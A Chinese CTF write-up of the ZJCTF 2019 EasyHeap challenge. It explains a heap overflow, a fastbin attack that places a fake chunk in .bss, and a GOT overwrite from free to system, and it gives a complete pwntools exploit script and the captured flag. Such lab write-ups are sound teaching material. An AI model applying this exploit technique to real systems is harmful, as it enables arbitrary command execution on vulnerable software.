# [ZJCTF 2019] EasyHeap WP
## 题目分析
程序提供 3 个基本堆操作:
- `create`
- `edit`
- `delete`
保护如下:
- Partial RELRO
- Canary
- NX
- No PIE
因为没有 PIE,所以程序内的全局变量、GOT 地址都是固定的;又因为是 Partial RELRO,所以 GOT 可写,适合做 GOT 劫持。
---
## 程序关键点
程序里有一个全局数组 `heaparray`,地址为:
```text
heaparray = 0x6020e0
它本质上就是一个保存堆块指针的数组,可以理解为:
char *heaparray[10];
申请堆块时:
heaparray[i] = malloc(size);
编辑堆块时:
read(0, heaparray[i], size);
删除堆块时:
free(heaparray[i]);
heaparray[i] = 0;
所以如果我们能改掉 heaparray[i] 的值,就等于控制了菜单功能实际操作的地址。
漏洞点
漏洞在 edit_heap:
printf("Size of Heap : ");
read(0, buf, 8);
size = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[idx], size);
这里的问题是:
size由用户自己输入- 程序不会检查这个
size是否超过原 chunk 实际大小 所以存在 heap overflow,可以从当前 chunk 溢出覆盖下一个 chunk 的元数据。
为什么不走后门
程序里有隐藏菜单 4869,会检查全局变量 magic,如果满足条件就进入 l33t()。
但远程实际测试发现,l33t() 执行的是:
system("cat /home/pwn/flag");
而这台远程机器的 flag 实际在 /flag,所以即使打通后门,也拿不到真正的 flag。
因此更稳妥的做法是直接构造 任意命令执行。
利用思路
整体思路:
- 利用
edit的堆溢出改掉 fastbin 链表 - 构造 fake chunk 到
.bss - 覆盖
heaparray[0] - 让
heaparray[0] = free@got - 再通过
edit(0, ...)把free@got改成system@plt - 把某个 chunk 的内容改成
cat /flag\x00 - 调用
delete(idx),实际就会变成system("cat /flag")
关键地址
heaparray = 0x6020e0
fake_chunk = 0x6020ad
free_got = elf.got['free']
system_plt = elf.plt['system']
利用过程
1. 申请 3 个 fastbin chunk
申请 3 个 0x60 大小的 chunk:
add(0x60, b'happy') # 0
add(0x60, b'pad') # 1
add(0x60, b'happy') # 2
这里 0x60 对应的实际 chunk size 是 0x70,属于 fastbin。
2. 释放 chunk2
delete(2)
这样 chunk2 进入 fastbin。
3. 溢出 chunk1,篡改 chunk2 的 fd
利用 edit(1, ...) 溢出到已经 free 的 chunk2:
payload = b'A' * 0x60 + p64(0) + p64(0x71) + p64(0x6020ad)
edit(1, len(payload), payload)
这里含义是:
b'A' * 0x60填满 chunk1p64(0)覆盖下一个 chunk 的prev_sizep64(0x71)保持下一个 chunk 的 size 为合法 fastbin 大小p64(0x6020ad)把chunk2->fd改成 fake chunk 此时 fastbin 链表变成:
chunk2 -> 0x6020ad
4. 连续 malloc 两次,拿到 fake chunk
add(0x60, b'happy') # 2
add(0x60, b'A' * 0x23 + p64(elf.got['free'])) # 3
第一次 malloc 取回真正的 chunk2。
第二次 malloc 返回 fake chunk 对应的用户区。
为什么是 0x6020ad
malloc 返回的是:
chunk + 0x10
所以 fake chunk 的用户区起点是:
0x6020ad + 0x10 = 0x6020bd
而:
heaparray = 0x6020e0
两者差值:
0x6020e0 - 0x6020bd = 0x23
所以:
b'A' * 0x23 + p64(elf.got['free'])
的含义就是:
- 前
0x23字节填充 - 后面的
p64(free@got)正好写到heaparray[0]也就是说,这一步执行完后:
heaparray[0] = free@got
5. 劫持 free@got
既然 heaparray[0] 已经被改成了 free@got,那么:
heaparray指向的是我们要修改内容的的地址。
edit(0, 8, p64(elf.plt['system']))
表面上是在编辑第 0 个堆块,实际上是在写:
free@got = system@plt
于是后面程序中的:
free(ptr)
都会变成:
system(ptr)
6. 把 chunk1 改成命令字符串
edit(1, len(b'cat /flag\x00'), b'cat /flag\x00')
把 chunk1 的内容改成:
cat /flag
7. 触发 system(“cat /flag”)
delete(1)
原本这句是:
free(heaparray[1]);
但由于我们已经把 free@got 改成了 system@plt,所以现在实际执行的是:
system(heaparray[1]);
也就是:
system("cat /flag")
从而拿到 flag。
EXP
from pwn import *
context.binary = elf = ELF('./easyheap')
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
io = remote('node5.buuoj.cn', 27663)
def add(size, content):
io.sendlineafter(b'Your choice :', b'1')
io.sendlineafter(b'Size of Heap : ', str(size).encode())
io.sendafter(b'Content of heap:', content)
def edit(index, size, content):
io.sendlineafter(b'Your choice :', b'2')
io.sendlineafter(b'Index :', str(index).encode())
io.sendlineafter(b'Size of Heap : ', str(size).encode())
io.sendafter(b'Content of heap : ', content)
def delete(index):
io.sendlineafter(b'Your choice :', b'3')
io.sendlineafter(b'Index :', str(index).encode())
add(0x60, b'happy') # 0
add(0x60, b'pad') # 1
add(0x60, b'happy') # 2
delete(2)
payload = b'A' * 0x60 + p64(0) + p64(0x71) + p64(0x6020ad)
edit(1, len(payload), payload)
add(0x60, b'happy') # 2
add(0x60, b'A' * 0x23 + p64(elf.got['free'])) # 3
edit(0, 8, p64(elf.plt['system']))
edit(1, len(b'cat /flag\x00'), b'cat /flag\x00')
delete(1)
io.interactive()
最终结果
远程返回:
flag{0ad2171d-510e-4e55-b77c-9b01eae59302}
总结
这题核心是两点:
edit可控长度导致 heap overflow- 利用 fastbin attack 把 fake chunk 打到
.bss,进而覆盖heaparray控制heaparray后,就能把菜单接口变成任意地址写。
最终通过把free@got改成system@plt,实现任意命令执行并读取/flag。
评论